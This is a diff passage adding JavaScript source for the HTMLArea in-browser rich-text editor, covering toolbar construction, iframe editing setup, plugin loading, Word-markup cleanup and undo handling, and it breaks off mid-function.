+HTMLArea.Config.prototype.registerButton = function(id, tooltip, image, textMode, action, context) {
+ var the_id;
+ if (typeof id == "string") {
+ the_id = id;
+ } else if (typeof id == "object") {
+ the_id = id.id;
+ } else {
+ alert("ERROR [HTMLArea.Config::registerButton]:\ninvalid arguments");
+ return false;
+ }
+ // check for existing id
+ if (typeof this.customSelects[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ switch (typeof id) {
+ case "string": this.btnList[id] = [ tooltip, image, textMode, action, context ]; break;
+ case "object": this.btnList[id.id] = [ id.tooltip, id.image, id.textMode, id.action, id.context ]; break;
+ }
+};
+
+/** The following helper function registers a dropdown box with the editor
+ * configuration. You still have to add it to the toolbar, same as with the
+ * buttons. Call it like this:
+ *
+ * FIXME: add example
+ */
+HTMLArea.Config.prototype.registerDropdown = function(object) {
+ // check for existing id
+ if (typeof this.customSelects[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ this.customSelects[object.id] = object;
+};
+
+/** Call this function to remove some buttons/drop-down boxes from the toolbar.
+ * Pass as the only parameter a string containing button/drop-down names
+ * delimited by spaces. Note that the string should also begin with a space
+ * and end with a space. Example:
+ *
+ * config.hideSomeButtons(" fontname fontsize textindicator ");
+ *
+ * It's useful because it's easier to remove stuff from the defaul toolbar than
+ * create a brand new toolbar ;-)
+ */
+HTMLArea.Config.prototype.hideSomeButtons = function(remove) {
+ var toolbar = this.toolbar;
+ for (var i in toolbar) {
+ var line = toolbar[i];
+ for (var j = line.length; --j >= 0; ) {
+ if (remove.indexOf(" " + line[j] + " ") >= 0) {
+ var len = 1;
+ if (/separator|space/.test(line[j + 1])) {
+ len = 2;
+ }
+ line.splice(j, len);
+ }
+ }
+ }
+};
+
+/** Helper function: replace all TEXTAREA-s in the document with HTMLArea-s. */
+HTMLArea.replaceAll = function(config) {
+ var tas = document.getElementsByTagName("textarea");
+ for (var i = tas.length; i > 0; (new HTMLArea(tas[--i], config)).generate());
+};
+
+/** Helper function: replaces the TEXTAREA with the given ID with HTMLArea. */
+HTMLArea.replace = function(id, config) {
+ var ta = HTMLArea.getElementById("textarea", id);
+ return ta ? (new HTMLArea(ta, config)).generate() : null;
+};
+
+// Creates the toolbar and appends it to the _htmlarea
+HTMLArea.prototype._createToolbar = function () {
+ var editor = this; // to access this in nested functions
+
+ var toolbar = document.createElement("div");
+ this._toolbar = toolbar;
+ toolbar.className = "toolbar";
+ toolbar.unselectable = "1";
+ var tb_row = null;
+ var tb_objects = new Object();
+ this._toolbarObjects = tb_objects;
+
+ // creates a new line in the toolbar
+ function newLine() {
+ var table = document.createElement("table");
+ table.border = "0px";
+ table.cellSpacing = "0px";
+ table.cellPadding = "0px";
+ toolbar.appendChild(table);
+ // TBODY is required for IE, otherwise you don't see anything
+ // in the TABLE.
+ var tb_body = document.createElement("tbody");
+ table.appendChild(tb_body);
+ tb_row = document.createElement("tr");
+ tb_body.appendChild(tb_row);
+ }; // END of function: newLine
+ // init first line
+ newLine();
+
+ // updates the state of a toolbar element. This function is member of
+ // a toolbar element object (unnamed objects created by createButton or
+ // createSelect functions below).
+ function setButtonStatus(id, newval) {
+ var oldval = this[id];
+ var el = this.element;
+ if (oldval != newval) {
+ switch (id) {
+ case "enabled":
+ if (newval) {
+ HTMLArea._removeClass(el, "buttonDisabled");
+ el.disabled = false;
+ } else {
+ HTMLArea._addClass(el, "buttonDisabled");
+ el.disabled = true;
+ }
+ break;
+ case "active":
+ if (newval) {
+ HTMLArea._addClass(el, "buttonPressed");
+ } else {
+ HTMLArea._removeClass(el, "buttonPressed");
+ }
+ break;
+ }
+ this[id] = newval;
+ }
+ }; // END of function: setButtonStatus
+
+ // this function will handle creation of combo boxes. Receives as
+ // parameter the name of a button as defined in the toolBar config.
+ // This function is called from createButton, above, if the given "txt"
+ // doesn't match a button.
+ function createSelect(txt) {
+ var options = null;
+ var el = null;
+ var cmd = null;
+ var customSelects = editor.config.customSelects;
+ var context = null;
+ var tooltip = "";
+ switch (txt) {
+ case "fontsize":
+ case "fontname":
+ case "formatblock":
+ // the following line retrieves the correct
+ // configuration option because the variable name
+ // inside the Config object is named the same as the
+ // button/select in the toolbar. For instance, if txt
+ // == "formatblock" we retrieve config.formatblock (or
+ // a different way to write it in JS is
+ // config["formatblock"].
+ options = editor.config[txt];
+ cmd = txt;
+ break;
+ default:
+ // try to fetch it from the list of registered selects
+ cmd = txt;
+ var dropdown = customSelects[cmd];
+ if (typeof dropdown != "undefined") {
+ options = dropdown.options;
+ context = dropdown.context;
+ if (typeof dropdown.tooltip != "undefined") {
+ tooltip = dropdown.tooltip;
+ }
+ } else {
+ alert("ERROR [createSelect]:\nCan't find the requested dropdown definition");
+ }
+ break;
+ }
+ if (options) {
+ el = document.createElement("select");
+ el.title = tooltip;
+ var obj = {
+ name : txt, // field name
+ element : el, // the UI element (SELECT)
+ enabled : true, // is it enabled?
+ text : false, // enabled in text mode?
+ cmd : cmd, // command ID
+ state : setButtonStatus, // for changing state
+ context : context
+ };
+ tb_objects[txt] = obj;
+ for (var i in options) {
+ var op = document.createElement("option");
+ op.appendChild(document.createTextNode(i));
+ op.value = options[i];
+ el.appendChild(op);
+ }
+ HTMLArea._addEvent(el, "change", function () {
+ editor._comboSelected(el, txt);
+ });
+ }
+ return el;
+ }; // END of function: createSelect
+
+ // appends a new button to toolbar
+ function createButton(txt) {
+ // the element that will be created
+ var el = null;
+ var btn = null;
+ switch (txt) {
+ case "separator":
+ el = document.createElement("div");
+ el.className = "separator";
+ break;
+ case "space":
+ el = document.createElement("div");
+ el.className = "space";
+ break;
+ case "linebreak":
+ newLine();
+ return false;
+ case "textindicator":
+ el = document.createElement("div");
+ el.appendChild(document.createTextNode("A"));
+ el.className = "indicator";
+ el.title = HTMLArea.I18N.tooltips.textindicator;
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : false, // enabled in text mode?
+ cmd : "textindicator", // the command ID
+ state : setButtonStatus // for changing state
+ };
+ tb_objects[txt] = obj;
+ break;
+ default:
+ btn = editor.config.btnList[txt];
+ }
+ if (!el && btn) {
+ el = document.createElement("div");
+ el.title = btn[0];
+ el.className = "button";
+ // let's just pretend we have a button object, and
+ // assign all the needed information to it.
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : btn[2], // enabled in text mode?
+ cmd : btn[3], // the command ID
+ state : setButtonStatus, // for changing state
+ context : btn[4] || null // enabled in a certain context?
+ };
+ tb_objects[txt] = obj;
+ // handlers to emulate nice flat toolbar buttons
+ HTMLArea._addEvent(el, "mouseover", function () {
+ if (obj.enabled) {
+ HTMLArea._addClass(el, "buttonHover");
+ }
+ });
+ HTMLArea._addEvent(el, "mouseout", function () {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonHover");
+ _removeClass(el, "buttonActive");
+ (obj.active) && _addClass(el, "buttonPressed");
+ }
+ });
+ HTMLArea._addEvent(el, "mousedown", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _addClass(el, "buttonActive");
+ _removeClass(el, "buttonPressed");
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ // when clicked, do the following:
+ HTMLArea._addEvent(el, "click", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonActive");
+ _removeClass(el, "buttonHover");
+ obj.cmd(editor, obj.name, obj);
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ var img = document.createElement("img");
+ img.src = btn[1];
+ img.style.width = "18px";
+ img.style.height = "18px";
+ el.appendChild(img);
+ } else if (!el) {
+ el = createSelect(txt);
+ }
+ if (el) {
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.appendChild(el);
+ } else {
+ alert("FIXME: Unknown toolbar item: " + txt);
+ }
+ return el;
+ };
+
+ var first = true;
+ for (var i in this.config.toolbar) {
+ if (!first) {
+ createButton("linebreak");
+ } else {
+ first = false;
+ }
+ var group = this.config.toolbar[i];
+ for (var j in group) {
+ var code = group[j];
+ if (/^([IT])\[(.*?)\]/.test(code)) {
+ // special case, create text label
+ var l7ed = RegExp.$1 == "I"; // localized?
+ var label = RegExp.$2;
+ if (l7ed) {
+ label = HTMLArea.I18N.custom[label];
+ }
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.className = "label";
+ tb_cell.innerHTML = label;
+ } else {
+ createButton(code);
+ }
+ }
+ }
+
+ this._htmlArea.appendChild(toolbar);
+};
+
+HTMLArea.prototype._createStatusBar = function() {
+ var statusbar = document.createElement("div");
+ statusbar.className = "statusBar";
+ this._htmlArea.appendChild(statusbar);
+ this._statusBar = statusbar;
+ // statusbar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ // creates a holder for the path view
+ div = document.createElement("span");
+ div.className = "statusBarTree";
+ div.innerHTML = HTMLArea.I18N.msg["Path"] + ": ";
+ this._statusBarTree = div;
+ this._statusBar.appendChild(div);
+ if (!this.config.statusBar) {
+ // disable it...
+ statusbar.style.display = "none";
+ }
+};
+
+// Creates the HTMLArea object and replaces the textarea with it.
+HTMLArea.prototype.generate = function () {
+ var editor = this; // we'll need "this" in some nested functions
+ // get the textarea
+ var textarea = this._textArea;
+ if (typeof textarea == "string") {
+ // it's not element but ID
+ this._textArea = textarea = HTMLArea.getElementById("textarea", textarea);
+ }
+ this._ta_size = {
+ w: textarea.offsetWidth,
+ h: textarea.offsetHeight
+ };
+ textarea.style.display = "none";
+
+ // create the editor framework
+ var htmlarea = document.createElement("div");
+ htmlarea.className = "htmlarea";
+ this._htmlArea = htmlarea;
+
+ // insert the editor before the textarea.
+ textarea.parentNode.insertBefore(htmlarea, textarea);
+
+ if (textarea.form) {
+ // we have a form, on submit get the HTMLArea content and
+ // update original textarea.
+ var f = textarea.form;
+ if (typeof f.onsubmit == "function") {
+ var funcref = f.onsubmit;
+ if (typeof f.__msh_prevOnSubmit == "undefined") {
+ f.__msh_prevOnSubmit = [];
+ }
+ f.__msh_prevOnSubmit.push(funcref);
+ }
+ f.onsubmit = function() {
+ editor._textArea.value = editor.getHTML();
+ var a = this.__msh_prevOnSubmit;
+ // call previous submit methods if they were there.
+ if (typeof a != "undefined") {
+ for (var i in a) {
+ a[i]();
+ }
+ }
+ };
+ }
+
+ // add a handler for the "back/forward" case -- on body.unload we save
+ // the HTML content into the original textarea.
+ try {
+ window.onunload = function() {
+ editor._textArea.value = editor.getHTML();
+ };
+ } catch(e) {};
+
+ // creates & appends the toolbar
+ this._createToolbar();
+
+ // create the IFRAME
+ var iframe = document.createElement("iframe");
+ htmlarea.appendChild(iframe);
+
+ this._iframe = iframe;
+
+ // creates & appends the status bar, if the case
+ this._createStatusBar();
+
+ // remove the default border as it keeps us from computing correctly
+ // the sizes. (somebody tell me why doesn't this work in IE)
+
+ if (!HTMLArea.is_ie) {
+ iframe.style.borderWidth = "1px";
+ // iframe.frameBorder = "1";
+ // iframe.marginHeight = "0";
+ // iframe.marginWidth = "0";
+ }
+
+ // size the IFRAME according to user's prefs or initial textarea
+ var height = (this.config.height == "auto" ? (this._ta_size.h + "px") : this.config.height);
+ height = parseInt(height);
+ var width = (this.config.width == "auto" ? (this._ta_size.w + "px") : this.config.width);
+ width = parseInt(width);
+
+ if (!HTMLArea.is_ie) {
+ height -= 2;
+ width -= 2;
+ }
+
+ iframe.style.width = width + "px";
+ if (this.config.sizeIncludesToolbar) {
+ // substract toolbar height
+ height -= this._toolbar.offsetHeight;
+ height -= this._statusBar.offsetHeight;
+ }
+ if (height < 0) {
+ height = 0;
+ }
+ iframe.style.height = height + "px";
+
+ // the editor including the toolbar now have the same size as the
+ // original textarea.. which means that we need to reduce that a bit.
+ textarea.style.width = iframe.style.width;
+ textarea.style.height = iframe.style.height;
+
+ // IMPORTANT: we have to allow Mozilla a short time to recognize the
+ // new frame. Otherwise we get a stupid exception.
+ function initIframe() {
+ var doc = editor._iframe.contentWindow.document;
+ if (!doc) {
+ // Try again..
+ // FIXME: don't know what else to do here. Normally
+ // we'll never reach this point.
+ if (HTMLArea.is_gecko) {
+ setTimeout(initIframe, 100);
+ return false;
+ } else {
+ alert("ERROR: IFRAME can't be initialized.");
+ }
+ }
+ if (HTMLArea.is_gecko) {
+ // enable editable mode for Mozilla
+ doc.designMode = "on";
+ }
+ editor._doc = doc;
+ if (!editor.config.fullPage) {
+ doc.open();
+ var html = "<html>\n";
+ html += "<head>\n";
+ if (editor.config.baseURL)
+ html += '<base href="' + editor.config.baseURL + '" />';
+ html += "<style>" + editor.config.pageStyle +
+ " html,body { border: 0px; }</style>\n";
+ html += "</head>\n";
+ html += "<body>\n";
+ html += editor._textArea.value;
+ html += "</body>\n";
+ html += "</html>";
+ doc.write(html);
+ doc.close();
+ } else {
+ var html = editor._textArea.value;
+ if (html.match(HTMLArea.RE_doctype)) {
+ editor.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ doc.open();
+ doc.write(html);
+ doc.close();
+ }
+
+ if (HTMLArea.is_ie) {
+ // enable editable mode for IE. For some reason this
+ // doesn't work if done in the same place as for Gecko
+ // (above).
+ doc.body.contentEditable = true;
+ }
+
+ editor.focusEditor();
+ // intercept some events; for updating the toolbar & keyboard handlers
+ HTMLArea._addEvents
+ (doc, ["keydown", "keypress", "mousedown", "mouseup", "drag"],
+ function (event) {
+ return editor._editorEvent(HTMLArea.is_ie ? editor._iframe.contentWindow.event : event);
+ });
+
+ // check if any plugins have registered refresh handlers
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onGenerate == "function")
+ plugin.onGenerate();
+ if (typeof plugin.onGenerateOnce == "function") {
+ plugin.onGenerateOnce();
+ plugin.onGenerateOnce = null;
+ }
+ }
+
+ setTimeout(function() {
+ editor.updateToolbar();
+ }, 250);
+
+ if (typeof editor.onGenerate == "function")
+ editor.onGenerate();
+ };
+ setTimeout(initIframe, 100);
+};
+
+// Switches editor mode; parameter can be "textmode" or "wysiwyg". If no
+// parameter was passed this function toggles between modes.
+HTMLArea.prototype.setMode = function(mode) {
+ if (typeof mode == "undefined") {
+ mode = ((this._editMode == "textmode") ? "wysiwyg" : "textmode");
+ }
+ switch (mode) {
+ case "textmode":
+ this._textArea.value = this.getHTML();
+ this._iframe.style.display = "none";
+ this._textArea.style.display = "block";
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = HTMLArea.I18N.msg["TEXT_MODE"];
+ }
+ break;
+ case "wysiwyg":
+ if (HTMLArea.is_gecko) {
+ // disable design mode before changing innerHTML
+ try {
+ this._doc.designMode = "off";
+ } catch(e) {};
+ }
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = this.getHTML();
+ else
+ this.setFullHTML(this.getHTML());
+ this._iframe.style.display = "block";
+ this._textArea.style.display = "none";
+ if (HTMLArea.is_gecko) {
+ // we need to refresh that info for Moz-1.3a
+ try {
+ this._doc.designMode = "on";
+ } catch(e) {};
+ }
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = '';
+ this._statusBar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ this._statusBar.appendChild(this._statusBarTree);
+ }
+ break;
+ default:
+ alert("Mode <" + mode + "> not defined!");
+ return false;
+ }
+ this._editMode = mode;
+ this.focusEditor();
+
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onMode == "function") plugin.onMode(mode);
+ }
+};
+
+HTMLArea.prototype.setFullHTML = function(html) {
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ if (html.match(HTMLArea.RE_doctype)) {
+ this.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ RegExp.multiline = save_multiline;
+ if (!HTMLArea.is_ie) {
+ if (html.match(HTMLArea.RE_head))
+ this._doc.getElementsByTagName("head")[0].innerHTML = RegExp.$1;
+ if (html.match(HTMLArea.RE_body))
+ this._doc.getElementsByTagName("body")[0].innerHTML = RegExp.$1;
+ } else {
+ var html_re = /<html>((.|\n)*?)<\/html>/i;
+ html = html.replace(html_re, "$1");
+ this._doc.open();
+ this._doc.write(html);
+ this._doc.close();
+ this._doc.body.contentEditable = true;
+ return true;
+ }
+};
+
+/***************************************************
+ * Category: PLUGINS
+ ***************************************************/
+
+// this is the variant of the function above where the plugin arguments are
+// already packed in an array. Externally, it should be only used in the
+// full-screen editor code, in order to initialize plugins with the same
+// parameters as in the opener window.
+HTMLArea.prototype.registerPlugin2 = function(plugin, args) {
+ if (typeof plugin == "string")
+ plugin = eval(plugin);
+ if (typeof plugin == "undefined") {
+ /* FIXME: This should never happen. But why does it do? */
+ return false;
+ }
+ var obj = new plugin(this, args);
+ if (obj) {
+ var clone = {};
+ var info = plugin._pluginInfo;
+ for (var i in info)
+ clone[i] = info[i];
+ clone.instance = obj;
+ clone.args = args;
+ this.plugins[plugin._pluginInfo.name] = clone;
+ } else
+ alert("Can't register plugin " + plugin.toString() + ".");
+};
+
+// Create the specified plugin and register it with this HTMLArea
+HTMLArea.prototype.registerPlugin = function() {
+ var plugin = arguments[0];
+ var args = [];
+ for (var i = 1; i < arguments.length; ++i)
+ args.push(arguments[i]);
+ this.registerPlugin2(plugin, args);
+};
+
+// static function that loads the required plugin and lang file, based on the
+// language loaded already for HTMLArea. You better make sure that the plugin
+// _has_ that language, otherwise shit might happen ;-)
+HTMLArea.loadPlugin = function(pluginName) {
+ var dir = _editor_url + "plugins/" + pluginName;
+ var plugin = pluginName.replace(/([a-z])([A-Z])([a-z])/g,
+ function (str, l1, l2, l3) {
+ return l1 + "-" + l2.toLowerCase() + l3;
+ }).toLowerCase() + ".js";
+ var plugin_file = dir + "/" + plugin;
+ var plugin_lang = dir + "/lang/" + HTMLArea.I18N.lang + ".js";
+ HTMLArea._scripts.push(plugin_file, plugin_lang);
+ document.write("<script type='text/javascript' src='" + plugin_file + "'></script>");
+ document.write("<script type='text/javascript' src='" + plugin_lang + "'></script>");
+};
+
+HTMLArea.loadStyle = function(style, plugin) {
+ var url = _editor_url || '';
+ if (typeof plugin != "undefined") {
+ url += "plugins/" + plugin + "/";
+ }
+ url += style;
+ document.write("<style type='text/css'>@import url(" + url + ");</style>");
+};
+HTMLArea.loadStyle("htmlarea.css");
+
+/***************************************************
+ * Category: EDITOR UTILITIES
+ ***************************************************/
+
+// The following function is a slight variation of the word cleaner code posted
+// by Weeezl (user @ InteractiveTools forums).
+HTMLArea.prototype._wordClean = function() {
+ var D = this.getInnerHTML();
+ if (D.indexOf('class=Mso') >= 0) {
+
+ // make one line
+ D = D.replace(/\r\n/g, ' ').
+ replace(/\n/g, ' ').
+ replace(/\r/g, ' ').
+ replace(/\ \;/g,' ');
+
+ // keep tags, strip attributes
+ D = D.replace(/ class=[^\s|>]*/gi,'').
+ //replace(/<p [^>]*TEXT-ALIGN: justify[^>]*>/gi,'<p align="justify">').
+ replace(/ style=\"[^>]*\"/gi,'').
+ replace(/ align=[^\s|>]*/gi,'');
+
+ //clean up tags
+ D = D.replace(/<b [^>]*>/gi,'<b>').
+ replace(/<i [^>]*>/gi,'<i>').
+ replace(/<li [^>]*>/gi,'<li>').
+ replace(/<ul [^>]*>/gi,'<ul>');
+
+ // replace outdated tags
+ D = D.replace(/<b>/gi,'<strong>').
+ replace(/<\/b>/gi,'</strong>');
+
+ // mozilla doesn't like <em> tags
+ D = D.replace(/<em>/gi,'<i>').
+ replace(/<\/em>/gi,'</i>');
+
+ // kill unwanted tags
+ D = D.replace(/<\?xml:[^>]*>/g, ''). // Word xml
+ replace(/<\/?st1:[^>]*>/g,''). // Word SmartTags
+ replace(/<\/?[a-z]\:[^>]*>/g,''). // All other funny Word non-HTML stuff
+ replace(/<\/?font[^>]*>/gi,''). // Disable if you want to keep font formatting
+ replace(/<\/?span[^>]*>/gi,' ').
+ replace(/<\/?div[^>]*>/gi,' ').
+ replace(/<\/?pre[^>]*>/gi,' ').
+ replace(/<\/?h[1-6][^>]*>/gi,' ');
+
+ //remove empty tags
+ //D = D.replace(/<strong><\/strong>/gi,'').
+ //replace(/<i><\/i>/gi,'').
+ //replace(/<P[^>]*><\/P>/gi,'');
+
+ // nuke double tags
+ oldlen = D.length + 1;
+ while(oldlen > D.length) {
+ oldlen = D.length;
+ // join us now and free the tags, we'll be free hackers, we'll be free... ;-)
+ D = D.replace(/<([a-z][a-z]*)> *<\/\1>/gi,' ').
+ replace(/<([a-z][a-z]*)> *<([a-z][^>]*)> *<\/\1>/gi,'<$2>');
+ }
+ D = D.replace(/<([a-z][a-z]*)><\1>/gi,'<$1>').
+ replace(/<\/([a-z][a-z]*)><\/\1>/gi,'<\/$1>');
+
+ // nuke double spaces
+ D = D.replace(/ */gi,' ');
+
+ this.setHTML(D);
+ this.updateToolbar();
+ }
+};
+
+HTMLArea.prototype.forceRedraw = function() {
+ this._doc.body.style.visibility = "hidden";
+ this._doc.body.style.visibility = "visible";
+ // this._doc.body.innerHTML = this.getInnerHTML();
+};
+
+// focuses the iframe window. returns a reference to the editor document.
+HTMLArea.prototype.focusEditor = function() {
+ switch (this._editMode) {
+ // notice the try { ... } catch block to avoid some rare exceptions in FireFox
+ // (perhaps also in other Gecko browsers). Manual focus by user is required in
+ // case of an error. Somebody has an idea?
+ case "wysiwyg" : try { this._iframe.contentWindow.focus() } catch (e) {} break;
+ case "textmode": try { this._textArea.focus() } catch (e) {} break;
+ default : alert("ERROR: mode " + this._editMode + " is not defined");
+ }
+ return this._doc;
+};
+
+// takes a snapshot of the current text (for undo)
+HTMLArea.prototype._undoTakeSnapshot = function() {
+ ++this._undoPos;
+ if (this._undoPos >= this.config.undoSteps) {
+ // remove the first element
+ this._undoQueue.shift();
+ --this._undoPos;
+ }
+ // use the fasted method (getInnerHTML);
+ var take = true;
+ var txt = this.getInnerHTML();
+ if (this._undoPos > 0)
+ take = (this._undoQueue[this._undoPos - 1] != txt);
+ if (take) {
+ this._undoQueue[this._undoPos] = txt;
+ } else {
+ this._undoPos--;
+ }
+};
+
+HTMLArea.prototype.undo = function() {
+ if (this._undoPos > 0) {
+ var txt = this._undoQueue[--this._undoPos];
+ if (txt) this.setHTML(txt);
+ else ++this._undoPos;
+ }
+};
+
+HTMLArea.prototype.redo = function() {
+ if (this._undoPos < this._undoQueue.length - 1) {
+ var txt = this._undoQueue[++this._undoPos];
+ if (txt) this.setHTML(txt);
+ else --this._undoPos;
+ }
+};
+
+// updates enabled/disable/active state of the toolbar elements
+HTMLArea.prototype.updateToolbar = function(noStatus) {
+ var doc = this._doc;
+ var text = (this._editMode == "textmode");
+ var ancestors = null;
+ if (!text) {
+ ancestors = this.getAllAncestors();
+ if (this.config.statusBar && !noStatus) {
+ this._statusBarTree.innerHTML = HTMLArea.I18N.msg["Path"] + ": "; // clear
+ for (var i = ancestors.length; --i >= 0;) {
+ var el = ancestors[i];
+ if (!el) {
+ // hell knows why we get here; this
+ // could be a classic example of why
+ // it's good to check for conditions
+ // that are impossible to happen ;-)
+ continue;
+ }
+ var a = document.createElement("a");
+ a.href = "#";
+ a.el = el;
+ a.editor = this;
+ a.onclick = function() {
+ this.blur();
+ this.editor.selectNodeContents(this.el);
+ this.editor.updateToolbar(true);
+ return false;
+ };
+ a.oncontextmenu = function() {
+ // TODO: add context menu here
+ this.blur();
+ var info = "Inline style:\n\n";
+ info += this.el.style.cssText.split(/;\s*/).join(";\n");
+ alert(info);
+ return false;
+ };
+ var txt = el.tagName.toLowerCase();
+ a.title = el.style.cssText;
+ if (el.id) {
+ txt += "#" + el.id;
+ }
+ if (el.className) {
+ txt += "." + el.className;
+ }
+ a.appendChild(document.createTextNode(txt));
+ this._statusBarTree.appendChild(a);
+ if (i != 0) {
+ this._statusBarTree.appendChild(document.createTextNode(String.fromCharCode(0xbb)));
+ }
+ }
+ }
+ }
+
+ for (var i in this._toolbarObjects) {
+ var btn = this._toolbarObjects[i];
+ var cmd = i;
+ var inContext = true;
+ if (btn.context && !text) {
+ inContext = false;
+ var context = btn.context;
+ var attrs = [];
+ if (/(.*)\[(.*?)\]/.test(context)) {
+ context = RegExp.$1;
+ attrs = RegExp.$2.split(",");
+ }
+ context = context.toLowerCase();
+ var match = (context == "*");
+ for (var k in ancestors) {
+ if (!ancestors[k]) {
+ // the impossible really happens.
+ continue;
+ }
+ if (match || (ancestors[k].tagName.toLowerCase() == context)) {
+ inContext = true;
+ for (var ka in attrs) {
+ if (!eval("ancestors[k]." + attrs[ka])) {
+ inContext = false;
+ break;
+ }
+ }
+ if (inContext) {
+ break;
+ }
+ }
+ }
+ }
+ btn.state("enabled", (!text || btn.text) && inContext);
+ if (typeof cmd == "function") {
+ continue;
+ }
+ // look-it-up in the custom dropdown boxes
+ var dropdown = this.config.customSelects[cmd];
+ if ((!text || btn.text) && (typeof dropdown != "undefined")) {
+ dropdown.refresh(this);
+ continue;
+ }
+ switch (cmd) {
+ case "fontname":
+ case "fontsize":
+ case "formatblock":
+ if (!text) try {
+ var value = ("" + doc.queryCommandValue(cmd)).toLowerCase();
+ if (!value) {
+ // FIXME: what do we do here?
+ break;
+ }
+ // HACK -- retrieve the config option for this
+ // combo box. We rely on the fact that the
+ // variable in config has the same name as
+ // button name in the toolbar.
+ var options = this.config[cmd];
+ var k = 0;
+ // btn.element.selectedIndex = 0;
+ for (var j in options) {
+ // FIXME: the following line is scary.
+ if ((j.toLowerCase() == value) ||
+ (options[j].substr(0, value.length).toLowerCase() == value)) {
+ btn.element.selectedIndex = k;
+ break;
+ }
+ ++k;
+ }
+ } catch(e) {};
+ break;
+ case "textindicator":
+ if (!text) {
+ try {with (btn.element.style) {
+ backgroundColor = HTMLArea._makeColor(
+ doc.queryCommandValue(HTMLArea.is_ie ? "backcolor" : "hilitecolor"));
+ if (/transparent/i.test(backgroundColor)) {
+ // Mozilla
+ backgroundColor = HTMLArea._makeColor(doc.queryCommandValue("backcolor"));
+ }
+ color = HTMLArea._makeColor(doc.queryCommandValue("forecolor"));
+ fontFamily = doc.queryCommandValue("fontname");
+ fontWeight = doc.queryCommandState("bold") ? "bold" : "normal";
+ fontStyle = doc.queryCommandState("italic") ? "italic" : "normal";
+ }} catch (e) {
+ // alert(e + "\n\n" + cmd);
+ }
+ }
+ break;
+ case "htmlmode": btn.state("active", text); break;
+ case "lefttoright":
+ case "righttoleft":
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el)
+ btn.state("active", (el.style.direction == ((cmd == "righttoleft") ? "rtl" : "ltr")));
+ break;
+ default:
+ cmd = cmd.replace(/(un)?orderedlist/i, "insert$1orderedlist");
+ try {
+ btn.state("active", (!text && doc.queryCommandState(cmd)));
+ } catch (e) {}
+ }
+ }
+ // take undo snapshots
+ if (this._customUndo && !this._timerUndo) {
+ this._undoTakeSnapshot();
+ var editor = this;
+ this._timerUndo = setTimeout(function() {
+ editor._timerUndo = null;
+ }, this.config.undoTimeout);
+ }
+
+ // check if any plugins have registered refresh handlers
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onUpdateToolbar == "function")
+ plugin.onUpdateToolbar();
+ }
+};
+
+/** Returns a node after which we can insert other nodes, in the current
+ * selection. The selection is removed. It splits a text node, if needed.
+ */
+HTMLArea.prototype.insertNodeAtSelection = function(toBeInserted) {
+ if (!HTMLArea.is_ie) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ // remove the current selection
+ sel.removeAllRanges();
+ range.deleteContents();
+ var node = range.startContainer;
+ var pos = range.startOffset;
+ switch (node.nodeType) {
+ case 3: // Node.TEXT_NODE
+ // we have to split it at the caret position.
+ if (toBeInserted.nodeType == 3) {
+ // do optimized insertion
+ node.insertData(pos, toBeInserted.data);
+ range = this._createRange();
+ range.setEnd(node, pos + toBeInserted.length);
+ range.setStart(node, pos + toBeInserted.length);
+ sel.addRange(range);
+ } else {
+ node = node.splitText(pos);
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.parentNode.insertBefore(toBeInserted, node);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ }
+ break;
+ case 1: // Node.ELEMENT_NODE
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.insertBefore(toBeInserted, node.childNodes[pos]);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ break;
+ }
+ } else {
+ return null; // this function not yet used for IE <FIXME>
+ }
+};
+
+// Returns the deepest node that contains both endpoints of the selection.
+HTMLArea.prototype.getParentElement = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ switch (sel.type) {
+ case "Text":
+ case "None":
+ // It seems that even for selection of type "None",
+ // there _is_ a parent element and it's value is not
+ // only correct, but very important to us. MSIE is
+ // certainly the buggiest browser in the world and I
+ // wonder, God, how can Earth stand it?
+ return range.parentElement();
+ case "Control":
